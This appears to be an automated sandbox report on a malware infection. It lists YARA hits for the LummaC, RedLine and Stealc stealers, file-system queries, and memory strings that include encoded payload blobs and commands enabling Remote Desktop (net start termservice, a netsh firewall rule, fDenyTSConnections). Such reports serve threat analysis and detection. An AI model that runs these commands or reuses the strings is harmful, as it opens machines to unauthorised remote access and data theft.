Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\KZWFNRXYKI
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\KZWFNRXYKI
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\NHPKIZUUSG
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\NHPKIZUUSG
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\NHPKIZUUSG
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\ZSSZYEFYMU
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\ZSSZYEFYMU
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\ZSSZYEFYMU
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\AIXACVYBSB
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\AIXACVYBSB
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\KZWFNRXYKI
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\KZWFNRXYKI
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\ZSSZYEFYMU
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\ZSSZYEFYMU
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\AIXACVYBSB
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\AIXACVYBSB
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\KZWFNRXYKI
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\KZWFNRXYKI
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\AIXACVYBSB
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\AIXACVYBSB
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\NHPKIZUUSG
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\NHPKIZUUSG

Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe

Directory queried: number of queries: 1001

Source: Yara match

File source: Process Memory Space: legs.exe PID: 5852, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: legs.exe PID: 5852, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected RedLine Stealer

Source: Yara match	File source: 45.2.I0XmI2t.exe.2b50dd4e5a8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 45.2.I0XmI2t.exe.2b50dcd6568.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 45.2.I0XmI2t.exe.2b50dcd6568.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 45.2.I0XmI2t.exe.2b50dd4e5a8.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 45.2.I0XmI2t.exe.2b50dcfe590.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 45.2.I0XmI2t.exe.2b50dcfe590.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 45.2.I0XmI2t.exe.2b50d812478.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002D.00000002.3802638122.000002B50DD4E000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000002.3802638122.000002B50DCD6000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000002.3800987221.000002B50D803000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Roaming\nhj43jrxzblOJXQMNIQ\DJj.exe, type: DROPPED

Yara detected Stealc

Source: Yara match	File source: 23.0.daw21.exe.b80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.daw21.exe.b80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001D.00000002.3894349652.00000000007F1000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.3113602014.0000000000CA2000.00000004.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.3113602014.0000000000C87000.00000004.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.3113602014.0000000000CDD000.00000004.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.3892973302.00000000007F1000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000003.2544121223.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2435620899.0000000004A30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3895043155.00000000007F1000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.3041283471.000000000077E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.3108989966.0000000000BAB000.00000002.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.2142580380.0000000000BAB000.00000002.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.2245904915.0000000004AB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.3113602014.0000000000BCB000.00000004.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: daw21.exe PID: 988, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\daw21[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe, type: DROPPED

Contains functionality to start a terminal service

Source: am209.exe	String found in binary or memory: net start termservice
Source: am209.exe, 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: net start termservice
Source: am209.exe, 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit set191655f008adc880f91bfc85bc56db54c1ec479e5342a25940592acf24703eb24bee0740149a3e95dd6efb1faf26970e5e6f97CR7WFdNmCP4AOQJjRhq6BYPt8NiD0wkycT2 4V7vhIeqDQUrHu==KwQg6BZizQRn8K==BQLn8K==PkC0TNG7NTFlPt==PELh6h0nAjV71N==KYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427VpPpW3ZcPO==KYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427SZbreH3rPVz8PRSa2fBWcDShgArHg4ue0ZDuK1Hc7hWQ2x==KkLoO0RfCwdsxCJQTBiHNAZAQ5BaKYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427VpPp3lLpTAChBwIjKFzqTXO71UM=KYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427SZbreH3rPVz8OWma1DwjTj6h4ELzhy==zTLOLPOFJh9JURuuOO==NCvr7u==KCZOPu==HYLP1UG14lC130G121C1Oka1OVy13EC14UU1PEQ1OVO12FO120313hQ=O1zgTw 1Dxa0ZuehAVlgIu2O1zgTw 1Dw=O0nk7w 1Dw=PBu=PRu=PRy=PRC=JUvk6a==1FHV7xtkAt==1FHV7BRVAv8=PV8gPEnnO0Rf3FCs2VDk5kbrB1vW5Q0PFEC+FEG+BZrn8Qie1kMyAwimyu==6y==zlLp5RVYFO==308g6ABoBf5ndDt=10Lt6g0hBwIx1DuhH0LVNgKP0UZoW0ioiELuXY2gcy==KFzqTXO71RRkfDC2GTPwOVV6JZ9pfEa7hkK=GVPk7gJ=I0vu7A0n2Zt8KBu73e==HTDAPu==KEvpTAJ6JZVmfUGeiFa=HEZe8AdnxCdo0d==GTPCCxOrPAdPNTxW1TKQhkb1jS==GkbVTA0bOT5n1UF=JkZt8AdjK0Zr5AdoG0Zo6WWkL0bpLA0bOT5n1UF=CButGtVQCgc7QN==3ky=40y=G0Zp8A0j3z1XgUyaTgruiYuUbZvcfoKoPkZt6M6 NURkQvy8g1Lv4ICsfVUoOTUmBQQoFM5itOfy6W POT53NROeh1rwh4iUbY3pRjvf21zoFQW73DE KD27gUK NoObeIydRzvf1Ung6gKiOQ0lyeQFKWdj3DVxfzYJjVrmTkybdJvndXHa4Ebq6cdkN0RofzYoiFzm3YXHDiUFtOeoFM5iAP0=BQQIwa==F1De7d5mBkfrTq==G0Zp8A0j3z1XgUyaTgrihJymbYHcgHfo2gZZFRiS3v1pd0GiQVLzgISoZ43f2XK=KZbOPy0CMBN4ekGaglHEg42Udo3nX3PTNCDq6hWn1ZxfSZ6ihFL14ZGIZYVg0FHo2VrW8A0nIjFw1N==G0Zo7B0POUJR0TYaOUzeTA0bOZhscjqhgUVwhJCsd5LWgo8X5VerGNNoCAU5PwdUQTY=BVLp5QSkODUwKZbOPy0CMBN4ekGaglHEg42Udo3nX3PTNCDq6hWn1ZxfXT2eiELl0oie0Y38T13HLDzKNzCLHRRIVYt=KZbOPy0CMBNydkOng0nU4ZNqNFz8X3Pr4kbeTRS2FjFCcTKtfVDxgICZYHTk2HPoLkbfTQdyGx==NBqrGxF=HELhSR0h3CNofEOegk4AQneM0ZHqeIPT1UZpHELhSR0h3CNofEOegk4AQniM0ZHqeIPT1UZpKYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41CbNfW2F0VBejSjiDPmhpKjc4Y=KFzqTB093B5kdTR=ChqsIK==ChqtGa==ChqsHa==ChqtHK==G1Lt7g0j3BJ4cTu Ny==Ehe13lLpTAChBwIx1UeaB0ibylHc7Wyg0TxvKz6bNAZqgUxcygqhDcGP0T1od0SPNBuhOkVa0IPnLB==zgObLRme3zI=ygqhDcGnOT4jyAOhCu==KEZYTROo0DVvdz2ajEK=BULZTQSQ3DlydkykgEbkjUys0YVqgHPs1U4pTQV6ARZsdDR6Ne==ye==308W8AWk3Z4jNUJ6QVGhRC==31G47q==3kvpTAdiI0L0Sgd72jQjVDCUg1L12Hys0Yrq1XK=CBqrGxFPBQk=CBqrGxFPBgI=CBqrGxFPBgM=CBqrGxFPBZY=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: am209.exe, 0000000A.00000000.1955378260.0000000000171000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: net start termservice
Source: am209.exe, 0000000A.00000000.1955378260.0000000000171000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit set191655f008adc880f91bfc85bc56db54c1ec479e5342a25940592acf24703eb24bee0740149a3e95dd6efb1faf26970e5e6f97CR7WFdNmCP4AOQJjRhq6BYPt8NiD0wkycT2 4V7vhIeqDQUrHu==KwQg6BZizQRn8K==BQLn8K==PkC0TNG7NTFlPt==PELh6h0nAjV71N==KYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427VpPpW3ZcPO==KYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427SZbreH3rPVz8PRSa2fBWcDShgArHg4ue0ZDuK1Hc7hWQ2x==KkLoO0RfCwdsxCJQTBiHNAZAQ5BaKYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427VpPp3lLpTAChBwIjKFzqTXO71UM=KYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427SZbreH3rPVz8OWma1DwjTj6h4ELzhy==zTLOLPOFJh9JURuuOO==NCvr7u==KCZOPu==HYLP1UG14lC130G121C1Oka1OVy13EC14UU1PEQ1OVO12FO120313hQ=O1zgTw 1Dxa0ZuehAVlgIu2O1zgTw 1Dw=O0nk7w 1Dw=PBu=PRu=PRy=PRC=JUvk6a==1FHV7xtkAt==1FHV7BRVAv8=PV8gPEnnO0Rf3FCs2VDk5kbrB1vW5Q0PFEC+FEG+BZrn8Qie1kMyAwimyu==6y==zlLp5RVYFO==308g6ABoBf5ndDt=10Lt6g0hBwIx1DuhH0LVNgKP0UZoW0ioiELuXY2gcy==KFzqTXO71RRkfDC2GTPwOVV6JZ9pfEa7hkK=GVPk7gJ=I0vu7A0n2Zt8KBu73e==HTDAPu==KEvpTAJ6JZVmfUGeiFa=HEZe8AdnxCdo0d==GTPCCxOrPAdPNTxW1TKQhkb1jS==GkbVTA0bOT5n1UF=JkZt8AdjK0Zr5AdoG0Zo6WWkL0bpLA0bOT5n1UF=CButGtVQCgc7QN==3ky=40y=G0Zp8A0j3z1XgUyaTgruiYuUbZvcfoKoPkZt6M6 NURkQvy8g1Lv4ICsfVUoOTUmBQQoFM5itOfy6W POT53NROeh1rwh4iUbY3pRjvf21zoFQW73DE KD27gUK NoObeIydRzvf1Ung6gKiOQ0lyeQFKWdj3DVxfzYJjVrmTkybdJvndXHa4Ebq6cdkN0RofzYoiFzm3YXHDiUFtOeoFM5iAP0=BQQIwa==F1De7d5mBkfrTq==G0Zp8A0j3z1XgUyaTgrihJymbYHcgHfo2gZZFRiS3v1pd0GiQVLzgISoZ43f2XK=KZbOPy0CMBN4ekGaglHEg42Udo3nX3PTNCDq6hWn1ZxfSZ6ihFL14ZGIZYVg0FHo2VrW8A0nIjFw1N==G0Zo7B0POUJR0TYaOUzeTA0bOZhscjqhgUVwhJCsd5LWgo8X5VerGNNoCAU5PwdUQTY=BVLp5QSkODUwKZbOPy0CMBN4ekGaglHEg42Udo3nX3PTNCDq6hWn1ZxfXT2eiELl0oie0Y38T13HLDzKNzCLHRRIVYt=KZbOPy0CMBNydkOng0nU4ZNqNFz8X3Pr4kbeTRS2FjFCcTKtfVDxgICZYHTk2HPoLkbfTQdyGx==NBqrGxF=HELhSR0h3CNofEOegk4AQneM0ZHqeIPT1UZpHELhSR0h3CNofEOegk4AQniM0ZHqeIPT1UZpKYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41CbNfW2F0VBejSjiDPmhpKjc4Y=KFzqTB093B5kdTR=ChqsIK==ChqtGa==ChqsHa==ChqtHK==G1Lt7g0j3BJ4cTu Ny==Ehe13lLpTAChBwIx1UeaB0ibylHc7Wyg0TxvKz6bNAZqgUxcygqhDcGP0T1od0SPNBuhOkVa0IPnLB==zgObLRme3zI=ygqhDcGnOT4jyAOhCu==KEZYTROo0DVvdz2ajEK=BULZTQSQ3DlydkykgEbkjUys0YVqgHPs1U4pTQV6ARZsdDR6Ne==ye==308W8AWk3Z4jNUJ6QVGhRC==31G47q==3kvpTAdiI0L0Sgd72jQjVDCUg1L12Hys0Yrq1XK=CBqrGxFPBQk=CBqrGxFPBgI=CBqrGxFPBgM=CBqrGxFPBZY=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: defnur.exe	String found in binary or memory: net start termservice
Source: defnur.exe, 0000000B.00000000.1961311257.00000000007D1000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: net start termservice
Source: defnur.exe, 0000000B.00000000.1961311257.00000000007D1000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit set191655f008adc880f91bfc85bc56db54c1ec479e5342a25940592acf24703eb24bee0740149a3e95dd6efb1faf26970e5e6f97CR7WFdNmCP4AOQJjRhq6BYPt8NiD0wkycT2 4V7vhIeqDQUrHu==KwQg6BZizQRn8K==BQLn8K==PkC0TNG7NTFlPt==PELh6h0nAjV71N==KYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427VpPpW3ZcPO==KYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427SZbreH3rPVz8PRSa2fBWcDShgArHg4ue0ZDuK1Hc7hWQ2x==KkLoO0RfCwdsxCJQTBiHNAZAQ5BaKYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427VpPp3lLpTAChBwIjKFzqTXO71UM=KYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427SZbreH3rPVz8OWma1DwjTj6h4ELzhy==zTLOLPOFJh9JURuuOO==NCvr7u==KCZOPu==HYLP1UG14lC130G121C1Oka1OVy13EC14UU1PEQ1OVO12FO120313hQ=O1zgTw 1Dxa0ZuehAVlgIu2O1zgTw 1Dw=O0nk7w 1Dw=PBu=PRu=PRy=PRC=JUvk6a==1FHV7xtkAt==1FHV7BRVAv8=PV8gPEnnO0Rf3FCs2VDk5kbrB1vW5Q0PFEC+FEG+BZrn8Qie1kMyAwimyu==6y==zlLp5RVYFO==308g6ABoBf5ndDt=10Lt6g0hBwIx1DuhH0LVNgKP0UZoW0ioiELuXY2gcy==KFzqTXO71RRkfDC2GTPwOVV6JZ9pfEa7hkK=GVPk7gJ=I0vu7A0n2Zt8KBu73e==HTDAPu==KEvpTAJ6JZVmfUGeiFa=HEZe8AdnxCdo0d==GTPCCxOrPAdPNTxW1TKQhkb1jS==GkbVTA0bOT5n1UF=JkZt8AdjK0Zr5AdoG0Zo6WWkL0bpLA0bOT5n1UF=CButGtVQCgc7QN==3ky=40y=G0Zp8A0j3z1XgUyaTgruiYuUbZvcfoKoPkZt6M6 NURkQvy8g1Lv4ICsfVUoOTUmBQQoFM5itOfy6W POT53NROeh1rwh4iUbY3pRjvf21zoFQW73DE KD27gUK NoObeIydRzvf1Ung6gKiOQ0lyeQFKWdj3DVxfzYJjVrmTkybdJvndXHa4Ebq6cdkN0RofzYoiFzm3YXHDiUFtOeoFM5iAP0=BQQIwa==F1De7d5mBkfrTq==G0Zp8A0j3z1XgUyaTgrihJymbYHcgHfo2gZZFRiS3v1pd0GiQVLzgISoZ43f2XK=KZbOPy0CMBN4ekGaglHEg42Udo3nX3PTNCDq6hWn1ZxfSZ6ihFL14ZGIZYVg0FHo2VrW8A0nIjFw1N==G0Zo7B0POUJR0TYaOUzeTA0bOZhscjqhgUVwhJCsd5LWgo8X5VerGNNoCAU5PwdUQTY=BVLp5QSkODUwKZbOPy0CMBN4ekGaglHEg42Udo3nX3PTNCDq6hWn1ZxfXT2eiELl0oie0Y38T13HLDzKNzCLHRRIVYt=KZbOPy0CMBNydkOng0nU4ZNqNFz8X3Pr4kbeTRS2FjFCcTKtfVDxgICZYHTk2HPoLkbfTQdyGx==NBqrGxF=HELhSR0h3CNofEOegk4AQneM0ZHqeIPT1UZpHELhSR0h3CNofEOegk4AQniM0ZHqeIPT1UZpKYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41CbNfW2F0VBejSjiDPmhpKjc4Y=KFzqTB093B5kdTR=ChqsIK==ChqtGa==ChqsHa==ChqtHK==G1Lt7g0j3BJ4cTu Ny==Ehe13lLpTAChBwIx1UeaB0ibylHc7Wyg0TxvKz6bNAZqgUxcygqhDcGP0T1od0SPNBuhOkVa0IPnLB==zgObLRme3zI=ygqhDcGnOT4jyAOhCu==KEZYTROo0DVvdz2ajEK=BULZTQSQ3DlydkykgEbkjUys0YVqgHPs1U4pTQV6ARZsdDR6Ne==ye==308W8AWk3Z4jNUJ6QVGhRC==31G47q==3kvpTAdiI0L0Sgd72jQjVDCUg1L12Hys0Yrq1XK=CBqrGxFPBQk=CBqrGxFPBgI=CBqrGxFPBgM=CBqrGxFPBZY=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: defnur.exe, 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: net start termservice
Source: defnur.exe, 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit set191655f008adc880f91bfc85bc56db54c1ec479e5342a25940592acf24703eb24bee0740149a3e95dd6efb1faf26970e5e6f97CR7WFdNmCP4AOQJjRhq6BYPt8NiD0wkycT2 4V7vhIeqDQUrHu==KwQg6BZizQRn8K==BQLn8K==PkC0TNG7NTFlPt==PELh6h0nAjV71N==KYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427VpPpW3ZcPO==KYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427SZbreH3rPVz8PRSa2fBWcDShgArHg4ue0ZDuK1Hc7hWQ2x==KkLoO0RfCwdsxCJQTBiHNAZAQ5BaKYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427VpPp3lLpTAChBwIjKFzqTXO71UM=KYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427SZbreH3rPVz8OWma1DwjTj6h4ELzhy==zTLOLPOFJh9JURuuOO==NCvr7u==KCZOPu==HYLP1UG14lC130G121C1Oka1OVy13EC14UU1PEQ1OVO12FO120313hQ=O1zgTw 1Dxa0ZuehAVlgIu2O1zgTw 1Dw=O0nk7w 1Dw=PBu=PRu=PRy=PRC=JUvk6a==1FHV7xtkAt==1FHV7BRVAv8=PV8gPEnnO0Rf3FCs2VDk5kbrB1vW5Q0PFEC+FEG+BZrn8Qie1kMyAwimyu==6y==zlLp5RVYFO==308g6ABoBf5ndDt=10Lt6g0hBwIx1DuhH0LVNgKP0UZoW0ioiELuXY2gcy==KFzqTXO71RRkfDC2GTPwOVV6JZ9pfEa7hkK=GVPk7gJ=I0vu7A0n2Zt8KBu73e==HTDAPu==KEvpTAJ6JZVmfUGeiFa=HEZe8AdnxCdo0d==GTPCCxOrPAdPNTxW1TKQhkb1jS==GkbVTA0bOT5n1UF=JkZt8AdjK0Zr5AdoG0Zo6WWkL0bpLA0bOT5n1UF=CButGtVQCgc7QN==3ky=40y=G0Zp8A0j3z1XgUyaTgruiYuUbZvcfoKoPkZt6M6 NURkQvy8g1Lv4ICsfVUoOTUmBQQoFM5itOfy6W POT53NROeh1rwh4iUbY3pRjvf21zoFQW73DE KD27gUK NoObeIydRzvf1Ung6gKiOQ0lyeQFKWdj3DVxfzYJjVrmTkybdJvndXHa4Ebq6cdkN0RofzYoiFzm3YXHDiUFtOeoFM5iAP0=BQQIwa==F1De7d5mBkfrTq==G0Zp8A0j3z1XgUyaTgrihJymbYHcgHfo2gZZFRiS3v1pd0GiQVLzgISoZ43f2XK=KZbOPy0CMBN4ekGaglHEg42Udo3nX3PTNCDq6hWn1ZxfSZ6ihFL14ZGIZYVg0FHo2VrW8A0nIjFw1N==G0Zo7B0POUJR0TYaOUzeTA0bOZhscjqhgUVwhJCsd5LWgo8X5VerGNNoCAU5PwdUQTY=BVLp5QSkODUwKZbOPy0CMBN4ekGaglHEg42Udo3nX3PTNCDq6hWn1ZxfXT2eiELl0oie0Y38T13HLDzKNzCLHRRIVYt=KZbOPy0CMBNydkOng0nU4ZNqNFz8X3Pr4kbeTRS2FjFCcTKtfVDxgICZYHTk2HPoLkbfTQdyGx==NBqrGxF=HELhSR0h3CNofEOegk4AQneM0ZHqeIPT1UZpHELhSR0h3CNofEOegk4AQniM0ZHqeIPT1UZpKYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41CbNfW2F0VBejSjiDPmhpKjc4Y=KFzqTB093B5kdTR=ChqsIK==ChqtGa==ChqsHa==ChqtHK==G1Lt7g0j3BJ4cTu 